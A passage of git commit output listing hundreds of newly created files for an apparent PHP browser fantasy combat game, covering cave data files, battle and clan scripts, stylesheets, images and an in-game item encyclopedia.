cavedata/10273-4.dat create mode 100644 cavedata/10274-1.dat create mode 100644 cavedata/10274-2.dat create mode 100644 cavedata/10274-3.dat create mode 100644 cavedata/10274-4.dat create mode 100644 cavedata/10275-1.dat create mode 100644 cavedata/10275-2.dat create mode 100644 cavedata/10275-3.dat create mode 100644 cavedata/10275-4.dat create mode 100644 cavedata/10276-1.dat create mode 100644 cavedata/10276-2.dat create mode 100644 cavedata/10276-3.dat create mode 100644 cavedata/10276-4.dat create mode 100644 cavedata/10277-1.dat create mode 100644 cavedata/10277-2.dat create mode 100644 cavedata/10277-3.dat create mode 100644 cavedata/10277-4.dat create mode 100644 cavedata/10279-1.dat create mode 100644 cavedata/10279-2.dat create mode 100644 cavedata/10279-3.dat create mode 100644 cavedata/10279-4.dat create mode 100644 cavedata/10280-1.dat create mode 100644 cavedata/10280-2.dat create mode 100644 cavedata/10280-3.dat create mode 100644 cavedata/10280-4.dat create mode 100644 cavedata/10281-1.dat create mode 100644 cavedata/10281-2.dat create mode 100644 cavedata/10281-3.dat create mode 100644 cavedata/10281-4.dat create mode 100644 cavedata/10284-1.dat create mode 100644 cavedata/10284-2.dat create mode 100644 cavedata/10284-3.dat create mode 100644 cavedata/10284-4.dat create mode 100644 cavedata/10285-1.dat create mode 100644 cavedata/10285-2.dat create mode 100644 cavedata/10285-3.dat create mode 100644 cavedata/10285-4.dat create mode 100644 cavedata/10294-1.dat create mode 100644 cavedata/10294-2.dat create mode 100644 cavedata/10294-3.dat create mode 100644 cavedata/10294-4.dat create mode 100644 cavedata/10299-1.dat create mode 100644 cavedata/10299-2.dat create mode 100644 cavedata/10299-3.dat create mode 100644 cavedata/10299-4.dat create mode 100644 cavedata/10300-1.dat create mode 100644 cavedata/10300-2.dat create mode 100644 cavedata/10300-3.dat create mode 100644 cavedata/10300-4.dat create mode 100644 cavedata/10302-1.dat create mode 100644 cavedata/10302-2.dat create mode 100644 cavedata/10302-3.dat create mode 100644 cavedata/10302-4.dat create mode 100644 cavedata/10303-1.dat create mode 100644 cavedata/10303-2.dat create mode 100644 cavedata/10303-3.dat create mode 100644 cavedata/10303-4.dat create mode 100644 cavedata/10304-1.dat create mode 100644 cavedata/10304-2.dat create mode 100644 cavedata/10304-3.dat create mode 100644 cavedata/10304-4.dat create mode 100644 cavedata/10309-1.dat create mode 100644 cavedata/10309-2.dat create mode 100644 cavedata/10309-3.dat create mode 100644 cavedata/10309-4.dat create mode 100644 cavedata/10310-1.dat create mode 100644 cavedata/10310-2.dat create mode 100644 cavedata/10310-3.dat create mode 100644 cavedata/10310-4.dat create mode 100644 cavedata/10312-1.dat create mode 100644 cavedata/10312-2.dat create mode 100644 cavedata/10312-3.dat create mode 100644 cavedata/10312-4.dat create mode 100644 cavedata/10314-1.dat create mode 100644 cavedata/10314-2.dat create mode 100644 cavedata/10314-3.dat create mode 100644 cavedata/10314-4.dat create mode 100644 cavedata/10316-1.dat create mode 100644 cavedata/10316-2.dat create mode 100644 cavedata/10316-3.dat create mode 100644 cavedata/10316-4.dat create mode 100644 cavedata/10318-1.dat create mode 100644 cavedata/10318-2.dat create mode 100644 cavedata/10318-3.dat create mode 100644 cavedata/10318-4.dat create mode 100644 cavedata/10320-1.dat create mode 100644 cavedata/10320-2.dat create mode 100644 cavedata/10320-3.dat create mode 100644 cavedata/10320-4.dat create mode 100644 cavedata/10321-1.dat create mode 100644 cavedata/10321-2.dat create mode 100644 cavedata/10321-3.dat create mode 100644 cavedata/10321-4.dat create mode 100644 cavedata/10324-1.dat create mode 100644 cavedata/10324-2.dat create mode 100644 cavedata/10324-3.dat create mode 100644 cavedata/10324-4.dat create mode 100644 cavedata/10329-1.dat create mode 100644 cavedata/10329-2.dat create mode 100644 cavedata/10329-3.dat create mode 100644 cavedata/10329-4.dat create mode 100644 cavedata/10330-1.dat create mode 100644 cavedata/10330-2.dat create mode 100644 cavedata/10330-3.dat create mode 100644 cavedata/10330-4.dat create mode 100644 cavedata/10338-1.dat create mode 100644 cavedata/10338-2.dat create mode 100644 cavedata/10338-3.dat create mode 100644 cavedata/10338-4.dat create mode 100644 cavedata/10339-1.dat create mode 100644 cavedata/10339-2.dat create mode 100644 cavedata/10339-3.dat create mode 100644 cavedata/10339-4.dat create mode 100644 cavedata/10341-1.dat create mode 100644 cavedata/10341-2.dat create mode 100644 cavedata/10341-3.dat create mode 100644 cavedata/10341-4.dat create mode 100644 cavedata/10342-1.dat create mode 100644 cavedata/10342-2.dat create mode 100644 cavedata/10342-3.dat create mode 100644 cavedata/10342-4.dat create mode 100644 cavedata/10345-1.dat create mode 100644 cavedata/10345-2.dat create mode 100644 cavedata/10345-3.dat create mode 100644 cavedata/10345-4.dat create mode 100644 cavedata/10346-1.dat create mode 100644 cavedata/10346-2.dat create mode 100644 cavedata/10346-3.dat create mode 100644 cavedata/10346-4.dat create mode 100644 cavedata/10350-1.dat create mode 100644 cavedata/10350-2.dat create mode 100644 cavedata/10350-3.dat create mode 100644 cavedata/10350-4.dat create mode 100644 cavedata/10358-1.dat create mode 100644 cavedata/10358-2.dat create mode 100644 cavedata/10358-3.dat create mode 100644 cavedata/10358-4.dat create mode 100644 cavedata/10360-1.dat create mode 100644 cavedata/10360-2.dat create mode 100644 cavedata/10360-3.dat create mode 100644 cavedata/10360-4.dat create mode 100644 cavedata/10368-1.dat create mode 100644 cavedata/10368-2.dat create mode 100644 cavedata/10368-3.dat create mode 100644 cavedata/10368-4.dat create mode 100644 cavedata/10376-1.dat create mode 100644 cavedata/10376-2.dat create mode 100644 cavedata/10376-3.dat create mode 100644 cavedata/10376-4.dat create mode 100644 cavedata/10377-1.dat create mode 100644 cavedata/10377-2.dat create mode 100644 cavedata/10377-3.dat create mode 100644 cavedata/10377-4.dat create mode 100644 cavedata/10389-1.dat create mode 100644 cavedata/10389-2.dat create mode 100644 cavedata/10389-3.dat create mode 100644 cavedata/10389-4.dat create mode 100644 cavedata/10394-1.dat create mode 100644 cavedata/10394-2.dat create mode 100644 cavedata/10394-3.dat create mode 100644 cavedata/10394-4.dat create mode 100644 cavedata/10395-1.dat create mode 100644 cavedata/10395-2.dat create mode 100644 cavedata/10395-3.dat create mode 100644 cavedata/10395-4.dat create mode 100644 cavedata/10408-1.dat create mode 100644 cavedata/10408-2.dat create mode 100644 cavedata/10408-3.dat create mode 100644 cavedata/10408-4.dat create mode 100644 cavedata/10411-1.dat create mode 100644 cavedata/10411-2.dat create mode 100644 cavedata/10411-3.dat create mode 100644 cavedata/10411-4.dat create mode 100644 cavedata/10413-1.dat create mode 100644 cavedata/10413-2.dat create mode 100644 cavedata/10413-3.dat create mode 100644 cavedata/10413-4.dat create mode 100644 cavedata/10430-1.dat create mode 100644 cavedata/10430-2.dat create mode 100644 cavedata/10430-3.dat create mode 100644 cavedata/10430-4.dat create mode 100644 cavedata/10446-1.dat create mode 100644 cavedata/10446-2.dat create mode 100644 cavedata/10446-3.dat create mode 100644 cavedata/10446-4.dat create mode 100644 cavedata/10468-1.dat create mode 100644 cavedata/10468-2.dat create mode 100644 cavedata/10468-3.dat create mode 100644 cavedata/10468-4.dat create mode 100644 cavedata/10472-1.dat create mode 100644 cavedata/10472-2.dat create mode 100644 cavedata/10472-3.dat create mode 100644 cavedata/10472-4.dat create mode 100644 cavedata/10742-1.dat create mode 100644 cavedata/10742-2.dat create mode 100644 cavedata/10742-3.dat create mode 100644 cavedata/10742-4.dat create mode 100644 cavedata/10745-1.dat create mode 100644 cavedata/10745-2.dat create mode 100644 cavedata/10745-3.dat create mode 100644 cavedata/10745-4.dat create mode 100644 cavedata/10746-1.dat create mode 100644 cavedata/10746-2.dat create mode 100644 cavedata/10746-3.dat create mode 100644 cavedata/10746-4.dat create mode 100644 cavedata/10755-1.dat create mode 100644 cavedata/10755-2.dat create mode 100644 cavedata/10755-3.dat create mode 100644 cavedata/10755-4.dat create mode 100644 cavedata/10768-1.dat create mode 100644 cavedata/10768-2.dat create mode 100644 cavedata/10768-3.dat create mode 100644 cavedata/10768-4.dat create mode 100644 cavedata/10775-1.dat create mode 100644 cavedata/10775-2.dat create mode 100644 cavedata/10775-3.dat create mode 100644 cavedata/10775-4.dat create mode 100644 cavedata/10796-1.dat create mode 100644 cavedata/10796-2.dat create mode 100644 cavedata/10796-3.dat create mode 100644 cavedata/10796-4.dat create mode 100644 cavedata/10804-1.dat create mode 100644 cavedata/10804-2.dat create mode 100644 cavedata/10804-3.dat create mode 100644 cavedata/10804-4.dat create mode 100644 cavedata/10832-1.dat create mode 100644 cavedata/10832-2.dat create mode 100644 cavedata/10832-3.dat create mode 100644 cavedata/10832-4.dat create mode 100644 cavedata/10869-1.dat create mode 100644 cavedata/10869-2.dat create mode 100644 cavedata/10869-3.dat create mode 100644 cavedata/10869-4.dat create mode 100644 cavedata/10871-1.dat create mode 100644 cavedata/10871-2.dat create mode 100644 cavedata/10871-3.dat create mode 100644 cavedata/10871-4.dat create mode 100644 cavedata/10872-1.dat create mode 100644 cavedata/10872-2.dat create mode 100644 cavedata/10872-3.dat create mode 100644 cavedata/10872-4.dat create mode 100644 cavedata/10878-1.dat create mode 100644 cavedata/10878-2.dat create mode 100644 cavedata/10878-3.dat create mode 100644 cavedata/10878-4.dat create mode 100644 cavedata/10880-1.dat create mode 100644 cavedata/10880-2.dat create mode 100644 cavedata/10880-3.dat create mode 100644 cavedata/10880-4.dat create mode 100644 cavedata/10881-1.dat create mode 100644 cavedata/10881-2.dat create mode 100644 cavedata/10881-3.dat create mode 100644 cavedata/10881-4.dat create mode 100644 cavedata/10882-1.dat create mode 100644 cavedata/10882-2.dat create mode 100644 cavedata/10882-3.dat create mode 100644 cavedata/10882-4.dat create mode 100644 cavedata/10897-1.dat create mode 100644 cavedata/10897-2.dat create mode 100644 cavedata/10897-3.dat create mode 100644 cavedata/10897-4.dat create mode 100644 cavedata/10900-1.dat create mode 100644 cavedata/10900-2.dat create mode 100644 cavedata/10900-3.dat create mode 100644 cavedata/10900-4.dat create mode 100644 cavedata/10901-1.dat create mode 100644 cavedata/10901-2.dat create mode 100644 cavedata/10901-3.dat create mode 100644 cavedata/10901-4.dat create mode 100644 cavedata/10906-1.dat create mode 100644 cavedata/10906-2.dat create mode 100644 cavedata/10906-3.dat create mode 100644 cavedata/10906-4.dat create mode 100644 cavedata/10910-1.dat create mode 100644 cavedata/10910-2.dat create mode 100644 cavedata/10910-3.dat create mode 100644 cavedata/10910-4.dat create mode 100644 cavedata/10914-1.dat create mode 100644 cavedata/10914-2.dat create mode 100644 cavedata/10914-3.dat create mode 100644 cavedata/10914-4.dat create mode 100644 cavedata/10917-1.dat create mode 100644 cavedata/10917-2.dat create mode 100644 cavedata/10917-3.dat create mode 100644 cavedata/10917-4.dat create mode 100644 cavedata/10930-1.dat create mode 100644 cavedata/10930-2.dat create mode 100644 cavedata/10930-3.dat create mode 100644 cavedata/10930-4.dat create mode 100644 cavedata/10933-1.dat create mode 100644 cavedata/10933-2.dat create mode 100644 cavedata/10933-3.dat create mode 100644 cavedata/10933-4.dat create mode 100644 cavedata/10935-1.dat create mode 100644 cavedata/10935-2.dat create mode 100644 cavedata/10935-3.dat create mode 100644 cavedata/10935-4.dat create mode 100644 cavedata/10936-1.dat create mode 100644 cavedata/10936-2.dat create mode 100644 cavedata/10936-3.dat create mode 100644 cavedata/10936-4.dat create mode 100644 cavedata/10939-1.dat create mode 100644 cavedata/10939-2.dat create mode 100644 cavedata/10939-3.dat create mode 100644 cavedata/10939-4.dat create mode 100644 cavedata/10947-1.dat create mode 100644 cavedata/10947-2.dat create mode 100644 cavedata/10947-3.dat create mode 100644 cavedata/10947-4.dat create mode 100644 cavedata/10954-1.dat create mode 100644 cavedata/10954-2.dat create mode 100644 cavedata/10954-3.dat create mode 100644 cavedata/10954-4.dat create mode 100644 cavedata/10956-1.dat create mode 100644 cavedata/10956-2.dat create mode 100644 cavedata/10956-3.dat create mode 100644 cavedata/10956-4.dat create mode 100644 cavedata/11035-1.dat create mode 100644 cavedata/11035-2.dat create mode 100644 cavedata/11035-3.dat create mode 100644 cavedata/11035-4.dat create mode 100644 cavedata/11039-1.dat create mode 100644 cavedata/11039-2.dat create mode 100644 cavedata/11039-3.dat create mode 100644 cavedata/11039-4.dat create mode 100644 cavedata/11044-1.dat create mode 100644 cavedata/11044-2.dat create mode 100644 cavedata/11044-3.dat create mode 100644 cavedata/11044-4.dat create mode 100644 cavedata/11045-1.dat create mode 100644 cavedata/11045-2.dat create mode 100644 cavedata/11045-3.dat create mode 100644 cavedata/11045-4.dat create mode 100644 cavedata/11065-1.dat create mode 100644 cavedata/11065-2.dat create mode 100644 cavedata/11065-3.dat create mode 100644 cavedata/11065-4.dat create mode 100644 cavedata/11085-1.dat create mode 100644 cavedata/11085-2.dat create mode 100644 cavedata/11085-3.dat create mode 100644 cavedata/11085-4.dat create mode 100644 cavedata/11103-1.dat create mode 100644 cavedata/11103-2.dat create mode 100644 cavedata/11103-3.dat create mode 100644 cavedata/11103-4.dat create mode 100644 cavedata/11118-1.dat create mode 100644 cavedata/11118-2.dat create mode 100644 cavedata/11118-3.dat create mode 100644 cavedata/11118-4.dat create mode 100644 cavedata/11160-1.dat create mode 100644 cavedata/11160-2.dat create mode 100644 cavedata/11160-3.dat create mode 100644 cavedata/11160-4.dat create mode 100644 cavedata/11174-1.dat create mode 100644 cavedata/11174-2.dat create mode 100644 cavedata/11174-3.dat create mode 100644 cavedata/11174-4.dat create mode 100644 cavedata/11180-1.dat create mode 100644 cavedata/11180-2.dat create mode 100644 cavedata/11180-3.dat create mode 100644 cavedata/11180-4.dat create mode 100644 cavedata/11188-1.dat create mode 100644 cavedata/11188-2.dat create mode 100644 cavedata/11188-3.dat create mode 100644 cavedata/11188-4.dat create mode 100644 cavedata/11238-1.dat create mode 100644 cavedata/11238-2.dat create mode 100644 cavedata/11238-3.dat create mode 100644 cavedata/11238-4.dat create mode 100644 cavedata/11240-1.dat create mode 100644 cavedata/11240-2.dat create mode 100644 cavedata/11240-3.dat create mode 100644 cavedata/11240-4.dat create mode 100644 cavedata/777-1.dat create mode 100644 cavedata/777-2.dat create mode 100644 cavedata/777-3.dat create mode 100644 cavedata/777-4.dat create mode 100644 cavedata/9079-1.dat create mode 100644 cavedata/9079-2.dat create mode 100644 cavedata/9079-3.dat create mode 100644 cavedata/9079-4.dat create mode 100644 cavedata/9080-1.dat create mode 100644 cavedata/9080-2.dat create mode 100644 cavedata/9080-3.dat create mode 100644 cavedata/9080-4.dat create mode 100644 cavedata/9081-1.dat create mode 100644 cavedata/9081-2.dat create mode 100644 cavedata/9081-3.dat create mode 100644 cavedata/9081-4.dat create mode 100644 cavedata/9082-1.dat create mode 100644 cavedata/9082-2.dat create mode 100644 cavedata/9082-3.dat create mode 100644 cavedata/9082-4.dat create mode 100644 cavedata/9086-1.dat create mode 100644 cavedata/9086-2.dat create mode 100644 cavedata/9086-3.dat create mode 100644 cavedata/9086-4.dat create mode 100644 cavedata/9087-1.dat create mode 100644 cavedata/9087-2.dat create mode 100644 cavedata/9087-3.dat create mode 100644 cavedata/9087-4.dat create mode 100644 ch.php create mode 100644 change_stuff.php create mode 100644 chat.html create mode 100644 chats.php create mode 100644 checkpoint.php create mode 100644 church.php create mode 100644 city.php create mode 100644 clan_castle.php create mode 100644 clan_log.php create mode 100644 classes/MysqliDb.php create mode 100644 classes/battle_new.class.php create mode 100644 classes/cave/cave_bots.php create mode 100644 classes/cave/caveitems.php create mode 100644 classes/cave/lose.php create mode 100644 classes/cave/win.php create mode 100644 classes/class.upload.php create mode 100644 classes/fbattle.php create mode 100644 classes/filter_class.php create mode 100644 classes/quests_class.php create mode 100644 classes/utils_class.php create mode 100644 classturnir.php create mode 100644 comission.php create mode 100644 config.php create mode 100644 confirmpassw.php create mode 100644 confpassbank.php create mode 100644 cron.php create mode 100644 cron2.php create mode 100644 cron_bots.php create mode 100644 cron_bots__battle.php create mode 100644 cron_bots_battle.php create mode 100644 cron_bs.php create mode 100644 cron_test.php create mode 100644 cron_zv.php create mode 100644 css/2/buttons.css create mode 100644 css/2/chat.css create mode 100644 css/2/design2.css create mode 100644 css/2/design6.css create mode 100644 css/2/dungeon_cs.css create mode 100644 css/2/dungeon_css.css create mode 100644 css/2/dungeon_gy0.css create mode 100644 css/2/dungeon_kn4.css create mode 100644 css/2/dungeon_sn.css create mode 100644 css/2/dungeon_sun.css create mode 100644 css/2/dungeon_uq.css create mode 100644 css/2/main.css create mode 100644 css/2/reg.css create mode 100644 css/bkstyle.css create mode 100644 css/contact.css create mode 100644 css/design4.css create mode 100644 css/event.css create mode 100644 css/fightclub.css create mode 100644 css/forum.css create mode 100644 css/friend/design3.css create mode 100644 css/friend/main.css create mode 100644 css/hostel.css create mode 100644 css/main.css create mode 100644 css/mi.css create mode 100644 css/newstyle18.css create mode 100644 css/newstyle_loc4.css create mode 100644 css/rating.css create mode 100644 css/style.css create mode 100644 css/tooltip.css create mode 100644 css/wysibb/theme/default/img/icons.png create mode 100644 css/wysibb/theme/default/img/imgpreview.png create mode 100644 css/wysibb/theme/default/img/loader.gif create mode 100644 css/wysibb/theme/default/img/smiles/sm1.png create mode 100644 css/wysibb/theme/default/img/smiles/sm2.png create mode 100644 css/wysibb/theme/default/img/smiles/sm3.png create mode 100644 css/wysibb/theme/default/img/smiles/sm4.png create mode 100644 css/wysibb/theme/default/img/smiles/sm5.png create mode 100644 css/wysibb/theme/default/img/smiles/sm6.png create mode 100644 css/wysibb/theme/default/img/smiles/sm7.png create mode 100644 css/wysibb/theme/default/img/smiles/sm8.png create mode 100644 css/wysibb/theme/default/img/smiles/sm9.png create mode 100644 css/wysibb/theme/default/img/vert.png create mode 100644 css/wysibb/theme/default/img/wysibb.png create mode 100644 css/wysibb/theme/default/wbbtheme.css create mode 100644 css/wysibb/theme/fonts/WysiBBiconFontAH.eot create mode 100644 css/wysibb/theme/fonts/WysiBBiconFontAH.otf create mode 100644 css/wysibb/theme/fonts/WysiBBiconFontAH.svg create mode 100644 css/wysibb/theme/fonts/WysiBBiconFontAH.ttf create mode 100644 css/wysibb/theme/fonts/WysiBBiconFontAH.woff create mode 100644 daemons/arch_.php create mode 100644 daemons/hellround.php create mode 100644 daemons/var/log/arch.log create mode 100644 data/contact.php create mode 100644 deal.php create mode 100644 dealer.php create mode 100644 design/css/css/fight.css create mode 100644 design/css/fight.css create mode 100644 design/i/background-buttons-center.png create mode 100644 design/i/background-buttons-left.png create mode 100644 design/i/background-buttons-right.png create mode 100644 design/i/background-chat-center.png create mode 100644 design/i/background-chat-hr-left.png create mode 100644 design/i/background-chat-hr-right.png create mode 100644 design/i/background-chat-left.png create mode 100644 design/i/background-chat-right.png create mode 100644 design/i/background-left.png create mode 100644 design/i/background-right.png create mode 100644 design/i/background-top-center.png create mode 100644 design/i/background-top-left.png create mode 100644 design/i/background-top-right.png create mode 100644 design/i/background-top.png create mode 100644 design/i/bk-logo-top.png create mode 100644 design/i/button_refresh_h.png create mode 100644 design/i/button_refresh_n.png create mode 100644 design/i/button_refresh_p.png create mode 100644 design/i/buttons/a___ext.gif create mode 100644 design/i/buttons/a___inv.gif create mode 100644 design/i/buttons/a__forum.gif create mode 100644 design/i/buttons/b___.gif create mode 100644 design/i/buttons/b___filter_off.gif create mode 100644 design/i/buttons/b___slow_off.gif create mode 100644 design/i/buttons/b___smile.gif create mode 100644 design/i/buttons/b___sys_off.gif create mode 100644 design/i/buttons/b___translit_off.gif create mode 100644 design/i/buttons/erase.gif create mode 100644 design/i/buttons/otheralign.png create mode 100644 design/i/buttons/say2.gif create mode 100644 design/i/buttons/zvuk_off.gif create mode 100644 design/i/checkbox.png create mode 100644 design/i/location-frame.png create mode 100644 design/i/location_01/background.png create mode 100644 design/i/location_01/bigshop.png create mode 100644 design/i/location_01/blacksmith.png create mode 100644 design/i/location_01/castle.png create mode 100644 design/i/location_01/fleamarket.png create mode 100644 design/i/location_01/loto.png create mode 100644 design/i/location_01/postoffice.png create mode 100644 design/i/location_01/shop.png create mode 100644 design/i/location_01/signleft.png create mode 100644 design/i/location_01/signright.png create mode 100644 design/i/location_01/signright_1.png create mode 100644 design/i/location_01/statue.png create mode 100644 design/i/up_left_dec.psd create mode 100644 dig.php create mode 100644 edit_koefs.php create mode 100644 edited.php create mode 100644 ekr.php create mode 100644 elka.php create mode 100644 encicl/css/style.css create mode 100644 encicl/css/styles.css create mode 100644 encicl/encicl.zip create mode 100644 encicl/error.txt create mode 100644 encicl/images/back_yellow.gif create mode 100644 encicl/images/biblru_03.jpg create mode 100644 encicl/images/biblru_033.jpg create mode 100644 encicl/images/bottom.gif create mode 100644 encicl/images/deviz.gif create mode 100644 encicl/images/flag_dark.gif create mode 100644 encicl/images/flag_haos.gif create mode 100644 encicl/images/flag_light.gif create mode 100644 encicl/images/i_dex.gif create mode 100644 encicl/images/i_freedom.gif create mode 100644 encicl/images/i_inst.gif create mode 100644 encicl/images/i_intel.gif create mode 100644 encicl/images/i_power.gif create mode 100644 encicl/images/i_spirit.gif create mode 100644 encicl/images/i_str.gif create mode 100644 encicl/images/i_will.gif create mode 100644 encicl/images/i_wiz.gif create mode 100644 encicl/images/icon_alignment.gif create mode 100644 encicl/images/icon_artefact.gif create mode 100644 encicl/images/icon_autors.gif create mode 100644 encicl/images/icon_body.gif create mode 100644 encicl/images/icon_comment.gif create mode 100644 encicl/images/icon_credit.gif create mode 100644 encicl/images/icon_dark.gif create mode 100644 encicl/images/icon_epos.gif create mode 100644 encicl/images/icon_eurocredit.gif create mode 100644 encicl/images/icon_gorods.gif create mode 100644 encicl/images/icon_haos.gif create mode 100644 encicl/images/icon_library.gif create mode 100644 encicl/images/icon_logo.gif create mode 100644 encicl/images/icon_monstr.gif create mode 100644 encicl/images/icon_paladin.gif create mode 100644 encicl/images/icon_paladin1.gif create mode 100644 encicl/images/icon_repair.gif create mode 100644 encicl/images/icon_story.gif create mode 100644 encicl/images/icon_travma.gif create mode 100644 encicl/images/logo.jpg create mode 100644 encicl/images/logo.png create mode 100644 encicl/images/magic_black.gif create mode 100644 encicl/images/magic_gray.gif create mode 100644 encicl/images/magic_wind.gif create mode 100644 encicl/images/paper1.gif create mode 100644 encicl/images/paper1.jpg create mode 100644 encicl/images/paper2.gif create mode 100644 encicl/images/pict_1.jpg create mode 100644 encicl/images/pict_10.jpg create mode 100644 encicl/images/pict_11.jpg create mode 100644 encicl/images/pict_12.jpg create mode 100644 encicl/images/pict_13.jpg create mode 100644 encicl/images/pict_14.jpg create mode 100644 encicl/images/pict_15.jpg create mode 100644 encicl/images/pict_16.jpg create mode 100644 encicl/images/pict_17.jpg create mode 100644 encicl/images/pict_2.jpg create mode 100644 encicl/images/pict_3.jpg create mode 100644 encicl/images/pict_4.jpg create mode 100644 encicl/images/pict_5.jpg create mode 100644 encicl/images/pict_6.jpg create mode 100644 encicl/images/pict_7.jpg create mode 100644 encicl/images/pict_8.jpg create mode 100644 encicl/images/pict_9.jpg create mode 100644 encicl/images/title_abilities1.gif create mode 100644 encicl/images/title_additional.gif create mode 100644 encicl/images/title_align.gif create mode 100644 encicl/images/title_artefact.gif create mode 100644 encicl/images/title_artefacts1.gif create mode 100644 encicl/images/title_articles.gif create mode 100644 encicl/images/title_blocks.gif create mode 100644 encicl/images/title_calculate.gif create mode 100644 encicl/images/title_cities.gif create mode 100644 encicl/images/title_credit.gif create mode 100644 encicl/images/title_dark.gif create mode 100644 encicl/images/title_egergors.gif create mode 100644 encicl/images/title_energo.gif create mode 100644 encicl/images/title_eurocredit.gif create mode 100644 encicl/images/title_fightfinal.gif create mode 100644 encicl/images/title_fightround.gif create mode 100644 encicl/images/title_fights1.gif create mode 100644 encicl/images/title_fireplan.gif create mode 100644 encicl/images/title_haos.gif create mode 100644 encicl/images/title_highercreatures.gif create mode 100644 encicl/images/title_honor.gif create mode 100644 encicl/images/title_index.gif create mode 100644 encicl/images/title_invalid.gif create mode 100644 encicl/images/title_krits.gif create mode 100644 encicl/images/title_labcreatures.gif create mode 100644 encicl/images/title_labyrint.gif create mode 100644 encicl/images/title_law.gif create mode 100644 encicl/images/title_limits.gif create mode 100644 encicl/images/title_mage.gif create mode 100644 encicl/images/title_magical.gif create mode 100644 encicl/images/title_magiccolor.gif create mode 100644 encicl/images/title_magicproof.gif create mode 100644 encicl/images/title_magicschools.gif create mode 100644 encicl/images/title_magicstuff.gif create mode 100644 encicl/images/title_modificators.gif create mode 100644 encicl/images/title_money.gif create mode 100644 encicl/images/title_monstr.gif create mode 100644 encicl/images/title_natural.gif create mode 100644 encicl/images/title_null.gif create mode 100644 encicl/images/title_othercreatures.gif create mode 100644 encicl/images/title_param.gif create mode 100644 encicl/images/title_part5.gif create mode 100644 encicl/images/title_preamble.gif create mode 100644 encicl/images/title_profession.gif create mode 100644 encicl/images/title_protection.gif create mode 100644 encicl/images/title_regeneration.gif create mode 100644 encicl/images/title_sikness.gif create mode 100644 encicl/images/title_spells.gif create mode 100644 encicl/images/title_start.gif create mode 100644 encicl/images/title_story.gif create mode 100644 encicl/images/title_strike.gif create mode 100644 encicl/images/title_subject.gif create mode 100644 encicl/images/title_type_work.gif create mode 100644 encicl/images/title_upgrade.gif create mode 100644 encicl/images/title_weaponry.gif create mode 100644 encicl/images/title_worlds.gif create mode 100644 encicl/images/top.gif create mode 100644 encicl/images/travma2.gif create mode 100644 encicl/index.php create mode 100644 encicl/index.txt create mode 100644 encicl/kasteti/kastet2.html create mode 100644 encicl/kasteti/noziikasteti.txt create mode 100644 encicl/klan/Admins.html create mode 100644 encicl/labirint.php create mode 100644 encicl/law.html create mode 100644 encicl/law2.html create mode 100644 encicl/nav_error.txt create mode 100644 encicl/section0/law.txt create mode 100644 encicl/section0/preamble.txt create mode 100644 encicl/section0/start.txt create mode 100644 encicl/section0/vocabilory.txt create mode 100644 encicl/section1/param.txt create mode 100644 encicl/section2/calculate.txt create mode 100644 encicl/section2/exptablel.txt create mode 100644 encicl/section3/aligment.txt create mode 100644 encicl/section3/change_align.txt create mode 100644 encicl/section3/dark.txt create mode 100644 encicl/section3/haos.txt create mode 100644 encicl/section3/middle.txt create mode 100644 encicl/section3/paladin.txt create mode 100644 encicl/section5/amulet1.txt create mode 100644 encicl/section5/amulet2.txt create mode 100644 encicl/section5/amulet20.txt create mode 100644 encicl/section5/amulet3.txt create mode 100644 encicl/section5/amulet4.txt create mode 100644 encicl/section5/amulet5.txt create mode 100644 encicl/section5/amulet6.txt create mode 100644 encicl/section5/amulet7.txt create mode 100644 encicl/section5/amulet8.txt create mode 100644 encicl/section5/amulet9.txt create mode 100644 encicl/section5/amulets.txt create mode 100644 encicl/section5/amun.txt create mode 100644 encicl/section5/armor2.txt create mode 100644 encicl/section5/armor3.txt create mode 100644 encicl/section5/armor4.txt create mode 100644 encicl/section5/armor5.txt create mode 100644 encicl/section5/armor6.txt create mode 100644 encicl/section5/armor8.txt create mode 100644 encicl/section5/armorl1.txt create mode 100644 encicl/section5/armors.txt create mode 100644 encicl/section5/axe1.txt create mode 100644 encicl/section5/axe10.txt create mode 100644 encicl/section5/axe12.txt create mode 100644 encicl/section5/axe13.txt create mode 100644 encicl/section5/axe15.txt create mode 100644 encicl/section5/axe2.txt create mode 100644 encicl/section5/axe20.txt create mode 100644 encicl/section5/axe3.txt create mode 100644 encicl/section5/axe4.txt create mode 100644 encicl/section5/axe5.txt create mode 100644 encicl/section5/axe6.txt create mode 100644 encicl/section5/axe7.txt create mode 100644 encicl/section5/axe8.txt create mode 100644 encicl/section5/axe9.txt create mode 100644 encicl/section5/boots.txt create mode 100644 encicl/section5/boots1.txt create mode 100644 encicl/section5/boots2.txt create mode 100644 encicl/section5/boots20.txt create mode 100644 encicl/section5/boots21.txt create mode 100644 encicl/section5/boots3.txt create mode 100644 encicl/section5/boots5.txt create mode 100644 encicl/section5/clip1.txt create mode 100644 encicl/section5/clip10.txt create mode 100644 encicl/section5/clip11.txt create mode 100644 encicl/section5/clip2.txt create mode 100644 encicl/section5/clip3.txt create mode 100644 encicl/section5/clip4.txt create mode 100644 encicl/section5/clip5.txt create mode 100644 encicl/section5/clip6.txt create mode 100644 encicl/section5/clip7.txt create mode 100644 encicl/section5/clip8.txt create mode 100644 encicl/section5/clips.txt create mode 100644 encicl/section5/credit.txt create mode 100644 encicl/section5/dark.txt create mode 100644 encicl/section5/dubina.txt create mode 100644 encicl/section5/dubina1.txt create mode 100644 encicl/section5/dubina2.txt create mode 100644 encicl/section5/dubina20.txt create mode 100644 encicl/section5/dubina3.txt create mode 100644 encicl/section5/dubinaradosti.txt create mode 100644 encicl/section5/gilet1.txt create mode 100644 encicl/section5/grshield.txt create mode 100644 encicl/section5/grshield2.txt create mode 100644 encicl/section5/hammer1.txt create mode 100644 encicl/section5/hammer3.txt create mode 100644 encicl/section5/hammer4.txt create mode 100644 encicl/section5/hammer5.txt create mode 100644 encicl/section5/helmet.txt create mode 100644 encicl/section5/helmet1.txt create mode 100644 encicl/section5/helmet10.txt create mode 100644 encicl/section5/helmet11.txt create mode 100644 encicl/section5/helmet2.txt create mode 100644 encicl/section5/helmet21.txt create mode 100644 encicl/section5/helmet3.txt create mode 100644 encicl/section5/helmet4.txt create mode 100644 encicl/section5/helmet5.txt create mode 100644 encicl/section5/helmet6.txt create mode 100644 encicl/section5/helmet7.txt create mode 100644 encicl/section5/helmet8.txt create mode 100644 encicl/section5/helmet9.txt create mode 100644 encicl/section5/kastet1.txt create mode 100644 encicl/section5/kastet2.txt create mode 100644 encicl/section5/kastet3.txt create mode 100644 encicl/section5/kastet4.txt create mode 100644 encicl/section5/knife1.txt create mode 100644 encicl/section5/knife2.txt create mode 100644 encicl/section5/knife3.txt create mode 100644 encicl/section5/knife4.txt create mode 100644 